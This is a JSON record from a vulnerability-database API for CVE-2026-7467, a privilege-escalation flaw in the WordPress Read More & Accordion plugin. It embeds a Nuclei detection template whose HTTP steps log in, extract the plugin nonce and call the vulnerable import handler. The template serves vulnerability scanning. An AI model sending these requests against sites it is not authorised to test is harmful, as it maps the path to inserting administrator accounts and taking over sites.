{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-7467/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-7467/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-7467/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-7467/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-7467/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-7467/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2026-7467"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2026-7467"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.01313,"kev":false,"percentile":0.70697},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-7467.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2026-7467\n\ninfo:\n  name: Read More & Accordion <= 3.5.7 - Authenticated Privilege Escalation\n  author: zer0p0int\n  severity: high\n  description: |\n    The Read More & Accordion (expand-maker) plugin for WordPress through 3.5.7 allows privilege escalation due to improper validation in the importData AJAX handler (yrm_import_data action). An authenticated user with plugin access can upload a crafted JSON attachment to insert arbitrary rows into WordPress database tables, including those that control user roles and capabilities, potentially leading to site takeover.\n  impact: |\n    Authenticated attackers can insert arbitrary rows into any WordPress database table, allowing creation of a new administrator account and full takeover of the site.\n  remediation: |\n    Update to the latest version of the Read More & Accordion (expand-maker) plugin.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/adf51c03-b0bb-4864-b64d-6b0cba4b0130\n    - https://wordpress.org/plugins/expand-maker/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-7467\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2026-7467\n    epss-score: 0.01313\n    epss-percentile: 0.70779\n    cwe-id: CWE-269\n  metadata:\n    verified: false\n    max-request: 4\n    vendor: radmore\n    product: expand-maker\n    framework: wordpress\n    publicwww-query: \"/wp-content/plugins/expand-maker/\"\n  tags: cve,cve2026,wp,wordpress,wp-plugin,privilege-escalation,ssrf,authenticated,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /wp-login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=%2F&testcookie=1\n\n      - |\n        GET /wp-admin/admin.php?page=readMore HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=yrm_import_data&ajaxNonce={{yrm_nonce}}&attachmentUrl={{BaseURL}}/wp-json/\n\n    matchers:\n      - type: word\n        part: body_2\n        words:\n          - \"yrmBackendData\"\n\n      - type: word\n        part: body_3\n        words:\n          - '\"success\":true'\n          - \"Data import successful\"\n        condition: and\n\n    extractors:\n      - type: regex\n        name: yrm_nonce\n        group: 1\n        part: body_2\n        regex:\n          - 'yrmBackendData = \\{\"nonce\":\"([a-f0-9]+)\"'\n        internal: true\n# digest: 490a0046304402200e8e198826b4f2d28bcd85291561920dcd0fc8b4e4d1190421b6820fb2c19a8502203ac6dfa4804518348b8b489aa7771b227eccc3cb571ab6b564cb87fbea57bce3:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-7467"}